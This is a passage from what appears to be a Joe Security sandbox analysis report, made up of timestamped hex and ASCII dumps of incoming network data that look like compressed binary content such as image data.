6a 21 9c 8c f0 76 dc a8 35 f3 c7 a8 ad 27 91 6a c1 4d 31 66 63 11 80 42 a6 00 15 30 00 da 70 08 7a 60 18 88 c0 21 a9 
86 21 53 00 0f 4c 03 1a 99 e1 04 0f 4c 02 1a 98 60 36 00 15 30 00 a9 80 07 38 06 2e 38 00 54 c0 21 e9 84 31 61 80 a9 
80 07 c2 01 88 c3 01 0c 02 15 29 80 62 c0 21 53 00 0b 00 0f 4c 00 2a 60 01 53 00 c7 a6 00 1e 98 00 58 40 2a 60 01 a9 
86 21 11 80 06 a6 00 1e 98 00 54 c0 31 11 84 02 03 00 12 c0 31 
Data Ascii: Aj{y19,lP$`K1A@#P>smM*8(L#4q'e~CMXTNdwj!v5'jM1fcB0pz`!!SLL`608.8T!1a)b!SL*`SX@*`!T11

2022-05-13 14:42:07 UTC 6350 IN Data Raw: fd fc b9 62 60 72 30 98 1e 34 fb 30 40 49 2e e0 3c b0 80 b4 11 4a 0c 22 c4 a4 f0 af ed c2 11 6a b1 03 12 50 8c 
84 1c 10 29 10 9d 40 cc e0 81 c8 ff 00 50 ae 33 cc 60 da 39 1c 4d ab 33 96 08 09 2d 0d 5c 4c 14 48 38 23 2e 18 42 11 24 
66 38 e0 11 d0 6d 7e f5 bf db d1 61 99 52 68 54 fa 5b 23 ff 00 36 30 b6 14 f8 1d 34 cc d1 da 5b ff 00 72 f6 39 65 46 9a da 
58 87 32 28 c0 7d 98 e2 7d 3d d7 33 b9 75 35 6f 54 76 bb 55 ff 00 b6 bd c0 a5 ac dd 19 ce 5a 49 a3 0f f4 9c 71 5b 7d 38 
9d b4 74 bf 03 a2 b1 b7 8b 6e 84 44 8d a5 06 79 e3 9a cd d9 c9 d3 55 0a 07 ba 8a 1d ce 23 1c 94 74 e7 5c 15 6e ac 2c 
95 b4 67 3f 37 b5 6c 1e 4a a1 2a 8b e0 78 e3 ad 67 b1 ca fa 7a b2 98 fd b6 2d a5 32 ab 52 3a e4 07 1a 61 bc d2 a0 95 
85 55 c9 a8 5e 24 14 53 46 1c b1 8e a7 44 a1 fe a5 95 35 
Data Ascii: b`r040@I.<J"jP)@P3`9M3-\LH8#.B$f8m~aRhT[#604[r9eFX2(}}=3u5oTvUZIq[}8tnDyU#t\n,g?7lJ*xgz-
2R:aU^$SFD5

2022-05-13 14:42:07 UTC 6366 IN Data Raw: 15 00 e9 08 e4 af 3d ed ee cd ca f9 cb 77 d6 46 22 b4 d4 00 5a d4 52 9d 34 18 e8 94 d4 c9 82 ac b8 83 b3 4f 
ee a7 b8 b6 e9 60 5b c6 12 44 19 35 30 4f 58 ad 08 a0 15 0c 70 a9 7d c6 8e 8d 70 09 f7 b7 f7 5f 71 69 4c 5b 22 3a db 21 
04 ba 83 53 fc c6 9c 8f ca 3e dc 4b be e7 09 c0 a1 f3 38 4b 0f ee 66 ff 00 16 eb fd 4e 3e ec 87 50 66 5a b1 46 fc 4a 47 0a 
53 1b ed 4b 56 c5 0c f5 49 3f bc f1 aa c9 32 da 93 08 d2 50 b1 2b 50 78 ea af ec c6 1e 6e b1 03 da e0 e3 f6 7f ee c4 96 
9b ed de e0 90 55 2f 9e 33 32 8a 90 3b 6b a7 a0 f8 e9 c6 ae d6 e2 c4 b5 3d 9e c7 dd f6 17 f6 e2 e2 15 90 8a 02 c3 46 6b 
5f 1c f1 8b ea 28 b8 b3 ae 98 2f 75 29 04 a7 b8 f6 e6 a6 a9 42 55 43 0d 44 70 3f 0a e7 8b 59 aa f9 99 df 15 a9 c5 1e 7d 
ee 4f ef 45 be c7 bc 7d 04 36 fd db 74 20 3b 16 a3 35 
Data Ascii: =wF"ZR4O`[D50OXp}p_qiL[":!S>K8KfN>PfZFJGSKVI?2P+PxnU/32;k=Fk_(/u)BUCDp?Y}OE}6t ;5

2022-05-13 14:42:07 UTC 6374 IN Data Raw: 2a 51 2b ef 7e 43 64 8d f4 ea d2 04 1d 64 72 1c 38 f2 c2 a7 46 ed c4 99 81 ed fd d4 2e ed 96 62 cc 22 ae 6d 
db 2e 7c 94 e8 05 b1 bf f6 d0 ce ba 35 12 01 bb 7b b9 2d 84 57 0a 8b 72 91 90 54 cb 19 50 1a a7 e5 6d 3e 15 e1 8d 6b 
d3 4e 9c 02 f9 a0 d9 bc f7 46 f9 bf da da 5e ed 91 1b 64 62 51 bb 70 b3 a1 20 fa ce 90 ff 00 f2 e3 8d 61 a6 36 d5 b5 f6 9b 
f9 8e c9 34 7a ab 5b d9 cb 60 92 dd c6 93 c7 db 06 46 30 d1 75 01 d5 d2 e3 a7 3f 1c 78 4d b4 f4 3a 9a 93 26 fb da 3e d9 
ba 91 63 9f 6b b7 76 70 48 3d b0 be 9a 57 35 a7 8e 36 af 51 91 70 b3 39 dd 2a f8 a3 02 e7 d8 be cf 45 17 d1 ed dd b7 8e 
75 40 52 47 5a 30 90 47 5c 8f 8f 96 3a 57 57 97 86 e3 35 8e bd 81 b0 ed 56 76 9b a4 b6 ed 75 33 09 22 47 0d 33 2b 69 
25 d9 34 29 1a 78 fe fc 64 f2 37 5e 0b d8 4d a8 8c 99 a7 bd 
Data Ascii: *Q+~Cddr8F.b"m.|5{-WrTPm>kNF^dbQp a64z[`F0u?xM:&>ckvpH=W56Qp9*Eu@RGZ0G\:WW5Vvu
3"G3+i%4)xd7^M

2022-05-13 14:42:07 UTC 6390 IN Data Raw: 72 ea 86 b3 47 20 29 7f b6 d7 99 76 2f 87 41 aa d5 48 a1 fb 0e 34 5f e5 ab ce a5 f9 eb b0 cf 6f ed ee ff 00 6f 
a9 a2 ba 8d c9 04 0c ca 9c f1 d4 bf ca 62 7c 53 13 ca 98 1d 97 b2 7d cf 66 b3 40 55 4c 72 d0 12 b2 0a e5 cc 57 9e 3a 2d 
fe 43 05 a1 cf 0e e2 96 44 6a 2f b3 37 9b 48 f4 40 75 82 ba 6a d2 00 c3 51 ea 39 70 c7 3f ff 00 90 c4 f8 fd c6 ab 25 4d 48 
3f b7 8f 6e 85 e1 99 4d c3 81 a9 98 b6 54 e4 a4 72 f8 e3 9a df e4 ab 6e 2b 41 f9 95 0d 6d 8f 79 da 56 26 db 1e 07 94 0d 
2f ae b4 a7 da 3e fc 62 ba ac 57 9d f2 35 7a 96 5b ec db ac f2 f7 ee 12 04 98 e4 5d 24 39 7c 01 14 c5 3e a7 1a 50 9b f7 
02 bd 7b 42 6d 36 3d d6 d9 ea d7 2b 2a d3 81 62 3f 83 61 3e ab 1b e4 3d e8 e7 f7 8b 9f 75 6d b2 3b 4c 5d e1 76 d2 3b 15 
35 07 c7 8f d9 8f 43 0d b0 dd 69 f6 94 ac 9f 33 0b 
Data Ascii: rG )v/AH4_oob|S}f@ULrW:-CDj/7H@ujQ9p?%MH?nMTrn+AmyV&/>bW5z[]$9|>P{Bm6=+*b?a>=um;L]v;5Ci3

2022-05-13 14:42:07 UTC 6406 IN Data Raw: 7a 48 a8 fb ce 32 b6 35 57 0d 98 5b 02 40 b7 1e e4 bc b5 3a 5e ce 43 4f c2 6a 3e f1 86 b1 27 cd 19 f9 06 ae 
d3 7c 9b a2 16 b8 4e c9 a8 06 a7 c7 ec c6 19 2b b7 80 de 18 0c 36 fb 6b 39 57 9f b6 47 32 ad 4f be 98 84 d8 2c 2d 90 16 
b6 8f 37 d3 43 77 11 62 2b 52 d4 1f 7e 2a 1c 4c 12 f0 04 ff 00 42 9d 53 b8 b3 db 94 1c 6b 3a 2f fe e2 30 93 17 90 fb 8c 4f 
ea 56 eb ff 00 cd 18 e2 3f dc 19 91 91 a7 db 8b 75 67 3b ac 16 34 e4 9c a4 8e b4 07 36 5e 07 87 13 89 91 6d 66 92 6c 1b 
dc 89 dd 4b 29 5e 3f c4 88 48 f1 e2 b5 c5 a8 66 cb 0d 9f 20 6b 8b 59 ac a1 ef ee 10 cd 04 5c 35 b2 95 1f b4 60 89 e0 4b 
c5 65 c5 19 70 ee d6 37 44 c7 6f 77 0f 70 9a 25 6a 0f 1e 60 fd d8 6f 15 97 14 55 71 f6 a3 4a ff 00 6f de 6c 50 ff 00 db 19 
1b 97 23 e7 d2 48 fd f8 ca b0 f8 b8 35 ae 24 de ba 
Data Ascii: zH25W[@:^COj>'|N+6k9WG2O,-7Cwb+R~*LBSk:/0OV?ug;46^mflK)^?Hf kY\5`Kep7Dowp%j`oUqJolP#H5$

2022-05-13 14:42:07 UTC 6414 IN Data Raw: 79 8f b4 7b 50 cd 61 64 e7 38 50 d7 cb 0b cc 7d a1 b1 76 10 fe 9d b7 8c cc 0a 0f 95 70 fc d7 da 1b 2b d8 56 
76 9d b1 b3 30 e7 e4 5b fc f1 a2 ca fb 45 e5 d7 b0 a5 f6 5d ad c5 0c 64 83 c8 b1 c3 f3 ad da 1e 5d 4b 23 d9 b6 f5 ff 00 6c 
15 a7 85 3f cb 07 9a d8 fc aa 8d 26 d7 00 25 91 c8 25 4a 8a 8a 8f 8e 2d 66 68 3c a4 56 36 f9 23 40 aa c0 d0 66 78 62 de 
69 d4 cd e1 21 f4 52 73 20 fd b8 5e 62 23 ca 63 1b 47 4f 4a d7 ed c3 f3 10 bc b6 56 62 94 67 d9 3f 7d 70 6f 44 ec 65 7a 
73 ea 42 0f c0 e2 5b 21 d5 92 a2 9e 19 62 19 24 4c 4b cd a8 31 20 44 84 e4 6b 87 02 16 85 3e 67 0c 08 49 12 91 cc 1f 
2c 50 8c cf e9 7a 66 32 99 25 35 e2 0b e5 fb b1 a3 be 90 30 c4 55 8d 68 b5 fb 49 38 c8 91 c3 b0 61 5c b8 e2 a0 65 81 d8 
fc 30 a0 63 80 4e 01 1f ff d3 f9 a6 c3 dc 6c f2 c8 2e ea 
Data Ascii: y{Pad8P}vp+Vv0[E]d]K#l?&%%J-fh<V6#@fxbi!Rs ^b#cGOJVbg?}poDezsB[!b$LK1 Dk>gI,Pzf2%50UhI8a
\e0cNl.

2022-05-13 14:42:07 UTC 6430 IN Data Raw: e5 69 b5 69 60 81 89 e9 20 71 14 1f 2f a6 b8 f9 c7 fe 61 3b 27 0f c3 a1 16 ea d5 94 41 c6 9f 69 47 0c f2 49 34 
f6 d2 b8 d3 18 20 c8 bc 72 1f 26 79 9a 65 8f ac af 5b e1 98 d3 8f 15 fb 4c 2d 62 d1 fd a6 de a3 0c 96 f2 5b c7 11 e0 01 72 
3f f6 e3 ca 7f ff 00 71 e1 7f 2d be cf da 61 e6 00 5a ff 00 67 7d c3 b7 4d df 33 db b5 18 36 91 a8 93 9f 0a 15 c4 64 ff 00 3f 
8a d5 8d b6 53 ea fd a5 3c 92 03 bc dd de 7d 5b c7 69 32 a0 42 41 4e e5 1b 51 c8 fe 6e 26 94 18 cf 05 2b b5 3b 29 9e e3 
96 0c 4b dd c4 da 5d c7 17 79 9d 94 75 bc 84 80 a6 bc 97 8e 3d 0c 78 b7 55 b8 8e c4 86 a4 be e6 fa e1 0b fd 6e b6 89 74 
b3 3c 6c 06 6d 4a 6a 6f bb 2c 45 71 a7 1b 62 7b 19 4e 59 65 a6 e2 b1 c2 1a 00 c8 ca 6a 8e 2a 4b 1a f0 f3 38 59 31 ce 8f 
da 4c 1b 17 a7 7a 48 a0 bb 2a 49 cc 00 4d 01 
Data Ascii: ii` q/a;'AiGI4 r&ye[L-b[r?q-aZg}M36d?S<}[i2BANQn&+;)K]yu=xUnt<lmJjo,Eqb{NYej*K8Y1LzH*IM

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 66 of 286



2022-05-13 14:42:07 UTC 6446 IN Data Raw: a7 48 4b ea b1 9b 4b 89 ad 6f 1a 98 ca ca d4 07 2c c9 39 53 3f 86 38 ac f5 d0 de 91 06 50 f6 ed b4 1b 8a de 
42 d2 b9 61 42 15 80 4a 0c c7 3a e5 f9 71 d9 fd cd ad 4d ae 3f e4 2f 2d 72 27 bb 7b 71 77 a8 7b 13 4a e9 11 22 aa 94 50 
48 35 cc f1 38 9c 3d 57 94 e5 24 df 78 6c 31 37 ff 00 68 5b df 5b 20 96 ea e6 46 84 fa 51 81 2c 68 32 3e 5c f1 e8 74 dd 6b 
a5 9c 56 ab 77 69 95 92 45 c7 63 b2 da fb 72 c5 14 d7 0e 73 0a c3 25 af a8 90 29 9e 55 d2 71 1f dc 5b 24 a6 d5 41 f7 14 
ef 9e ce 1b b0 81 2c 6f 0d 9a 44 dd c1 12 47 51 a8 f3 26 a1 ab 8b e9 fa ef 2a 5d eb be 7c 3b 9b f4 45 c2 3a 6d bf 61 b5 
b0 71 72 83 55 d1 1d 72 70 d4 4f 13 4f 3c 79 59 7a 9b 64 5b 5f c3 d9 d8 6f 0a 0d 13 0a 76 fa 94 16 3c 6b 9f dd 8e 5d ce 
4c e0 09 8d dc 73 28 85 40 87 3d 4c 5b 33 f0 03 1b ad 
Data Ascii: HKKo,9S?8PBaBJ:qM?/-r'{qw{J"PH58=W$xl17h[[ FQ,h2>\tkVwiEcrs%)Uq[$A,oDGQ&*]|;E:maqrUrpOO<
yYzd[_ov<k]Ls(@=L[3

2022-05-13 14:42:07 UTC 6453 IN Data Raw: 8e e3 50 b6 5c 3e 23 1b 78 55 f7 35 fc a0 ad a0 5f d2 4f 3d b8 8a e2 56 90 64 49 0d a4 31 1f 0e 5e 58 c3 7a 
ad a5 28 fb 4d 34 7a 03 db ec df 47 33 cd 19 6e b1 4a 12 69 8d 6d 9f 7a 87 c8 16 38 2f 8e c2 dc b9 26 2d 26 83 33 51 5f 
2c b1 9b c8 e3 89 50 5e 16 1b 54 36 d6 f4 5c 8d 14 70 cf 8f 9f 1c 67 ad 9e e6 12 64 d9 3d e4 6b 2a 5d b3 48 ba 99 86 98 
f4 e5 f8 73 fd f8 ec c8 aa e1 d7 4f 6f da 73 c3 09 db 66 93 70 81 25 68 5e 03 4a 80 d9 71 ff 00 19 e3 2c b5 54 71 2a c0 90 
5c b7 c2 d9 c4 72 12 c4 fe 11 97 df 8c 56 3d ca 51 aa b4 14 6e 3b 49 dc d4 34 72 b4 24 90 43 2a e7 51 98 ad 71 a6 2c de 
5f 15 b8 d9 d7 71 76 df b3 cf 65 29 73 73 24 ab a6 81 5e 87 ed af 1c 46 4c ca ea 36 a5 ea 2e b8 e3 50 b8 84 aa ad de 2a 
5c 92 40 5f c3 cb ed c6 36 8e 45 08 87 90 a8 50 29 f3 
Data Ascii: P\>#xU5_O=VdI1^Xz(M4zG3nJimz8/&-&3Q_,P^T6\pgd=k*]HsOosfp%h^Jq,Tq*\rV=Qn;I4r$C*Qq,_qve)ss
$^FL6.P*\@_6EP)

2022-05-13 14:42:07 UTC 6469 IN Data Raw: 4a c5 9a bb 83 a5 7a 6a 68 33 ad 72 c6 69 4e bd 84 da d2 64 5f 6d 92 5e 2c d6 d7 65 e4 82 58 c4 5a 01 55 cb 
3c f2 cc 1c f1 d7 8f 2a a4 5a b0 9a 7b a7 56 73 ed 6c ba ca cc d8 59 ad a4 48 18 28 0a a9 2b 06 34 1e 19 72 c4 64 be fb 
6e 7e fa a3 65 46 91 9b b4 cb b9 c5 33 1b f3 0c 48 ee 69 a1 96 a3 e5 58 f2 ca 94 f2 19 9a 67 8e ac d5 c6 d7 82 5e 9c d3 
fe a2 12 68 de 7b bc f4 32 90 07 3a 71 03 1e 72 a7 30 b5 88 47 3a 2b ea 56 d5 52 2a b4 15 a7 2c f1 4e ae 0c d1 5d c5 db 
c5 1b 34 0b 57 e2 aa 5c d0 f8 d4 f0 1f b7 15 5a 26 f5 fb 8b 6c c6 f6 d4 fb ab db 1b 6d e8 00 e4 b1 57 57 5e a5 24 90 32 
cc 1f 2c 77 75 75 c6 ad bb 17 ba 1f 12 2b d8 74 11 bc 69 58 a3 51 a7 55 0f 01 f7 0a 67 8f 35 a6 f5 66 b5 2b b9 91 21 84 
81 09 91 86 61 00 51 5c fc 3a 46 58 aa 26 df 18 ef d4 6d 
Data Ascii: Jzjh3riNd_m^,eXZU<*Z{VslYH(+4rdn~eF3HiXg^h{2:qr0G:+VR*,N]4W\Z&lmWW^$2,wuu+tiXQUg5f+!aQ\:FX&m

2022-05-13 14:42:07 UTC 6485 IN Data Raw: 8f fd b6 52 28 64 ad 08 a7 1c b0 a1 1a 20 0f 71 6d b1 5c 59 7d 2d f4 f2 34 d2 35 7b de 14 f9 44 7c 4f e1 e3 c7 
ab 1e ae 1b 46 a6 89 9e 79 7d ec dd fe d4 bc d3 a0 10 84 d6 19 bd 4d c9 7a 45 5b 51 3c 31 ea d7 25 5a 19 8d 16 e5 a9 
43 b0 22 6a e6 49 e3 fc 6b 5c 3b 63 82 4f 45 da b7 18 2f ac fb d0 74 02 b9 90 29 56 02 94 35 e3 4c 7c be 7c 6e b7 87 db 
f6 10 ce 1f 7d 74 8e e6 3b a7 65 11 13 a6 80 75 02 28 4f c7 1e f7 4e 9b ab aa e2 52 01 df 67 ed 2a b2 4d a8 38 cc 0c b2 
e5 5c 74 74 f5 9e 2b 80 d2 93 ff d4 e5 56 ea c2 e8 46 1e 31 de 6a 1a 32 12 45 41 e3 c8 70 c7 e0 ee 97 ac c3 d3 d6 78 ee 
c4 45 d4 cb 73 24 4f 6e 59 32 d3 46 c8 65 98 35 c3 d8 b6 a6 9f d8 34 cc dd ca c7 77 bc bb 8d ec ee 23 8a da 33 57 8c e6 
49 a6 4a 39 52 b9 e3 ab 16 4c 74 ab 56 4d d9 f0 b1 0d 8d 
Data Ascii: R(d qm\Y}-45{D|OFy}MzE[Q<1%ZC"jIk\;cOE/t)V5L||n}t;eu(ONRg*M8\tt+VF1j2EApxEs$OnY2Fe54w#3W
IJ9RLtVM

2022-05-13 14:42:07 UTC 6493 IN Data Raw: ea d0 01 39 00 70 5d d5 57 47 ea 5c fb 24 b5 50 d3 0b 5a 28 61 ea 5a e9 51 5d 35 f3 03 2f 85 06 30 dd b8 d1 
d4 8d b6 e7 79 2c 67 eb 07 ea 92 42 f6 c1 2c 72 f3 cb 33 87 6c 55 4f c3 c3 bf 81 9e d2 8b 3d d6 e4 c6 60 ba 01 66 4a 39 
42 4d 51 75 7c dc b2 1e 9f 1c 69 7c 35 99 af 07 a4 fd 4e 39 0a 0b 25 6b db eb 98 ae ed 27 66 b7 44 65 35 1d 34 3c 8d 73 
d5 f7 e2 52 ad 2a eb 65 e2 91 31 43 24 d2 5c 1e fa ea af a5 8b 06 cc 71 01 69 96 0b 24 96 9f b0 80 7d c2 0b 1d c5 fe 92 
f6 36 76 75 a9 a8 e9 14 39 02 c3 9f 3c b1 a6 2b 5f 1f 8a 8e 23 de 54 04 41 1d bd ad 98 fa 56 0f 0c 64 0a 33 d2 94 34 26 
a7 f0 8c 65 67 6b 5b c5 c5 f7 09 a1 86 e1 3d c7 72 58 e3 05 54 74 3d 75 06 fe 5c 3f 29 56 13 7e b5 c2 08 68 cb 6b df 72 
22 8a da c6 54 01 56 d6 09 62 5b 86 79 53 ff 00 6e 3b 36 
Data Ascii: 9p]WG\$PZ(aZQ]5/0y,gB,r3lUO=`fJ9BMQu|i|5N9%k'fDe54<sR*e1C$\qi$}6vu9<+_#TAVd34&egk[=rXTt=
u\?)V~hkr"TVb[ySn;6

2022-05-13 14:42:07 UTC 6509 IN Data Raw: 62 ac ad 15 aa e7 c4 97 1c 8c 0b 2b f8 7d c3 ff 00 77 b7 dd 36 94 a2 3a ea a1 42 09 19 1f c5 ab 9f ef 18 f4 72 
63 78 3c 37 af 1d 57 e6 21 23 56 79 62 d5 1c 77 11 ea 56 ad 58 f5 0d 3c 3d 43 a7 51 6d 3f 1c 72 55 3d 5a 7f c7 f8 17 05 
e4 bd c4 8a f6 d2 d6 35 c8 05 a7 da 0f 86 33 f8 57 89 17 05 eb b7 a4 6c aa 8c 5a a0 81 fa 8c 49 af e2 cf 3f 89 c6 6f 23 7c 
7e e5 f6 16 b5 2e 78 d2 d4 69 94 ac 55 19 6a 39 1a 78 d7 c3 10 9b b7 0d 46 d4 15 47 f5 87 49 25 18 f0 04 0a d2 9c 34 82 
34 d3 14 f6 f7 90 91 29 22 53 1e 97 22 59 06 63 41 a1 24 70 04 ae 90 05 70 93 d7 4f 0f af f7 9a 01 ed b6 97 57 71 24 9b 
94 3d ab 98 c6 92 0b 92 3f 98 2a 9d 14 3f 7e 37 cb 7a d5 b5 47 35 7d df 67 d4 34 a4 d2 82 0a 75 40 e4 00 4e af 55 2b f9 
41 3f c3 1c b6 b7 6f e0 52 a9 03 6d a9 4a 48 0d 33 
Data Ascii: b+}w6:Brcx<7W!#VybwVX<=CQm?rU=Z53WlZI?o#|~.xiUj9xFGI%44)"S"YcA$ppOWq$=?*?~7zG5
}g4u@NU+A?oRmJH3

2022-05-13 14:42:07 UTC 6525 IN Data Raw: 23 99 95 4f 30 2a c7 30 0f a6 94 c6 8b ac c8 df 2b 7e aa a9 f4 ed 22 58 6c 31 08 6d d5 23 92 4b 7b 74 4e 26 
ba f3 a6 4d 50 d4 ff 00 a8 71 c7 3d 9c da 5a 56 b4 ff 00 29 92 0a 6b 14 95 14 c5 77 2c 74 15 0c ac 3a bc 09 af 1f b1 a9 8c 
96 46 9e b5 4f f0 35 70 2b 48 2f e1 0e 93 49 de 89 8f 49 06 8c 07 83 1e 79 79 e0 bd a8 e2 16 d7 f6 19 e8 49 42 4c 69 76 
84 00 75 0d 47 89 5a 7a 47 80 f1 c2 72 be 16 39 82 7f 4f 01 7d 50 68 0e d4 d4 52 84 f4 9c ab cf 2c 4e e7 1a cf b4 87 a9 
93 79 6f 3e e5 38 8a 09 04 45 4e ad 55 1a 95 49 a2 35 08 cf 8f 8e 3b 69 65 8d 4b 53 f8 fd 48 49 0f 25 96 df 64 63 86 f5 93 
ea 91 49 92 61 d2 49 1c 39 93 f3 70 3c 9b 86 12 c9 7b cb ac ed 7c 2b e9 ea 18 2c 5b b4 c7 75 6b 2f a2 7f a3 41 41 26 7a 
28 08 00 05 a1 f5 1f 86 7c 31 b3 c2 bc bd db 96 ef 
Data Ascii: #O0*0+~"Xl1m#K{tN&MPq=ZV)kw,t:FO5p+H/IIyyIBLivuGZzGr9O}PhR,Nyo>8ENUI5;ieKSHI%dcIaI9p<{|+,
[uk/AA&z(|1

2022-05-13 14:42:07 UTC 6533 IN Data Raw: f1 b0 45 2a e7 40 34 a8 a9 00 54 a1 c8 72 af 8e 3a 7f bb 75 4e b8 3e 07 af 0f 17 a3 2a 5a d1 07 6d 4d b3 5c 
6e d7 0c 24 56 9a d9 09 72 cd 4a 16 f5 b7 c1 59 40 e1 d3 c7 1c f9 96 5a e3 5a 69 67 a7 fc 7d 39 86 a6 b7 d1 ed d3 dd 2c 
37 4c 86 73 53 1a c6 ee 40 e6 6b 9e 9f f8 e3 8f 7d eb 59 ac c7 cd 29 7f 11 a9 0b be 91 f4 3c b1 c9 12 49 db 34 76 6d 3a 
79 0a f8 28 6e 58 c3 1a 52 93 4f 8f 0e d0 dc cc cb 1b 79 ad 89 37 01 8d cd 08 75 d5 d1 a4 d2 ba 87 0e 1c f1 d7 92 ca df 
0f c3 cb 4f 14 89 b3 51 f7 0e d4 42 4a aa 42 a4 16 7d 43 85 28 7c 08 f1 c7 22 c5 2e 38 be c0 52 63 ef 7b d5 8e c5 20 de 
a5 49 a4 77 aa 2a a9 62 84 1e 23 f0 e9 f0 e1 5f db 8f 43 a5 c5 93 27 ff 00 3a b5 58 d6 74 dc 74 63 76 9d 0d 3b 3d f2 0b 
b4 06 aa 92 81 d7 18 24 d2 bc 0e 5d 3a 79 7c 71 8e 55 91 
Data Ascii: E*@4Tr:uN>*ZmM\n$VrJY@ZZig}9,7LsS@k}Y)<I4vm:y(nXROy7uOQBJB}C(|".8Rc{ Iw*b#_C':Xttcv;=$]:y|qU

2022-05-13 14:42:07 UTC 6549 IN Data Raw: 65 d1 42 da 75 2f 06 14 ff 00 8e 3c f7 91 dd 2a a5 55 cf 9c f0 9d 4a 90 4f 73 6f 30 ed 36 c2 55 1a e0 4a ea 55 
1a b5 70 50 08 3e ae 3e 35 c6 fd 26 07 96 d1 cf d1 fb 01 29 0c b7 dd 9e ea c1 27 b5 43 2c 52 10 c0 c6 00 d0 0a d3 43 0e 
26 80 f8 63 0b 61 55 bb 56 d1 af ab 9f e6 22 11 42 dc 5d af 74 cc 35 82 68 b1 83 4c e9 a7 e1 a4 f8 1f 9b 56 34 75 ab 88 
fe af b4 a7 52 bb 9d 8f fa cc 0b 3c 73 b7 6a 41 43 1e b2 54 7c a5 0d 32 af f2 e2 ab d4 79 4e 1a d5 73 8f 6e e2 d2 1a 5d 
82 d9 63 30 c8 15 12 30 34 22 9a 01 41 c4 9f 3a 60 5d 4d a6 56 b3 c5 89 b2 a6 63 b4 5b 95 b4 8c b4 b2 51 9c 01 a8 2d 
0d 42 93 c1 53 2f 48 ae 67 1a 25 e6 bf 13 d1 70 f4 e6 c9 db 20 33 ed e9 bb a2 a0 89 00 04 bc e8 4e 95 70 78 9a 01 9b 57 
9e 37 ae 57 8b 59 7d 95 7c 5d 7f 71 6a 90 6c 6d 3b 46 cb 
Data Ascii: eBu/<*UJOso06UJUpP>>5&)'C,RC&caUV"B]t5hLV4uR<sjACT|2yNsn]c004"A:`]MVc[Q-BS/Hg%p 3NpxW7WY
}|]qjlm;F

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 6565 IN Data Raw: 08 29 aa a3 3a e5 fb 71 d2 d5 78 34 e6 dd bc 89 68 20 c9 15 c4 ea a5 54 b1 89 9f a8 66 32 d2 08 f0 cf 19 43 
aa f6 a4 43 02 dc 37 bf a6 ba 86 29 ed db b0 e4 50 f8 9a 69 14 fe 1c 06 3a 31 74 fb aa da 7a 90 17 0b 41 75 27 69 2d bb 
2a 14 36 60 29 d7 5a 52 a3 e6 e1 4c 61 64 ea a5 db 77 db e1 2a 06 ba db 83 31 8d f5 7d 30 4e a0 09 27 51 27 9f 3c 3a 
65 e6 be 29 fb 09 68 cf ad d4 52 2a db 94 48 85 00 90 12 4e 95 e2 b4 f1 3f 1c 74 f8 5a d6 67 b3 bc 20 85 ec 57 03 4b 59 
c9 1a 39 27 a5 85 35 b1 19 56 9f 86 98 ac 6d 7c c9 bf f8 af de 20 3b 98 bd c1 71 6c a0 ac 65 e3 7e a0 0d 35 8e 74 38 da 
8f 0d 6d cf 55 fd 22 d0 d6 b1 8a 48 a4 0e ea ec d2 67 46 cf 49 34 1f 66 43 1c 79 2c 9a 85 c8 4c ba 78 ee 43 cb da 23 41 
a3 0e 14 c8 67 e7 5c 67 57 58 52 23 ff d7 f2 3d fb 7e 7d aa 
Data Ascii: ):qx4h Tf2CC7)Pi:1tzAu'i-*6`)ZRLadw*1}0N'Q'<:e)hR*HN?tZg WKY9'5Vm| ;qle~5t8mU"HgFI4fCy,L
xC#Ag\gWXR#=~}

2022-05-13 14:42:07 UTC 6573 IN Data Raw: 8e 19 19 6c d2 e4 85 96 34 76 5a d6 a3 3a f1 20 61 d7 23 af 06 d1 5e 59 6a 4d 26 7a 11 2a a0 e6 33 a7 9d 3c 
b1 0e ab bc c9 e3 15 c5 d8 8c 68 b8 52 10 a9 a1 a5 2a 40 27 cf 9e 0a d2 78 0b cb 29 b4 5b 41 18 ed ab 19 09 00 ad 6a 
01 3f 2e 34 bb b4 eb c0 cd d6 0f ff d0 f3 f8 9a f4 1e cd ac 71 ad a4 6c a5 16 94 1a 40 ea 1e 3e 78 fc 4d aa f1 b3 7b 9c cf 
ac f1 90 54 d3 98 0f ea 4c f1 46 b4 22 a4 73 e4 3c 40 18 ca b5 dd c1 26 0c cf b8 b9 b0 dd 67 9e d6 09 3b a1 68 0a b1 d2 
49 02 af f0 cf 1d 35 a5 f1 a5 66 a3 ed f5 0a 0c e5 f6 16 d0 cc 97 32 a3 c3 28 15 68 e3 7c 89 f2 61 53 4c 74 bf f2 39 35 aa 
8b 2e db 23 44 74 92 d9 5a b5 81 92 64 d1 08 1d 41 d8 64 06 59 fc 71 e5 ac 96 df 0b 57 dc 5b 66 5d df b7 ed de e5 77 
0e d8 92 68 c0 ed 84 e9 a9 a6 40 91 d3 4f 8e 3a e9 d4 bd 
Data Ascii: l4vZ: a#^YjM&z*3<hR*@'x)[Aj?.4ql@>xM{TLF"s<@&g;hI5f2(h|aSLt95.#DtZdAdYqW[f]wh@O:

2022-05-13 14:42:07 UTC 6589 IN Data Raw: 59 6c 5c 31 8c ae b9 10 d6 a4 13 ce 82 bd 3e 03 d3 8e 8a e5 cb 7b 2b ae 3c 13 39 dd f5 90 db 4d b3 68 31 88 
e2 46 70 32 4a c7 a9 6a c0 9f 53 71 6f dd 8c 2f 97 24 cb f6 eb 1f 67 61 a7 f7 13 a1 96 76 3d bf 6b be 4b 87 9e 55 b8 9a 42 
47 56 47 4a d4 82 28 46 91 4c eb e3 8e bf ee 2f 92 8e a9 2d b5 5f 7f e2 62 ef 21 d7 c6 db 70 9d 64 69 dd f4 14 6e df 6c 
be 7f 2d 00 00 7a a8 df 87 1c f8 f7 51 44 25 33 ac c7 af d3 88 a0 d4 8a 26 9e 03 24 dd a9 9e ac 75 a1 00 10 a4 8e 07 9e 
39 1d a1 c2 9a f7 32 93 39 5d cf dc bb b4 70 b2 db 58 37 72 b9 a2 a8 a1 1a bd 20 e6 a4 94 f2 a0 e7 8f 63 0f 4b 8d b9 b5 
f4 fd df b4 d6 d5 66 a6 db b9 46 b1 44 7e 95 ad a4 91 59 c4 4e 00 21 43 50 9a 72 07 1c 79 71 39 7e 2d c9 42 dc 63 2f 80 
2d cf ba 22 b3 bb 16 f7 fd a2 f2 85 3a 35 06 45 51 5d 
Data Ascii: Yl\1>{+<9Mh1Fp2JjSqo/$gav=kKUBGVGJ(FL/-_b!pdinl-zQD%3&$u929]pX7r cKfFD~YN!CPryq9~-Bc/-":5EQ]

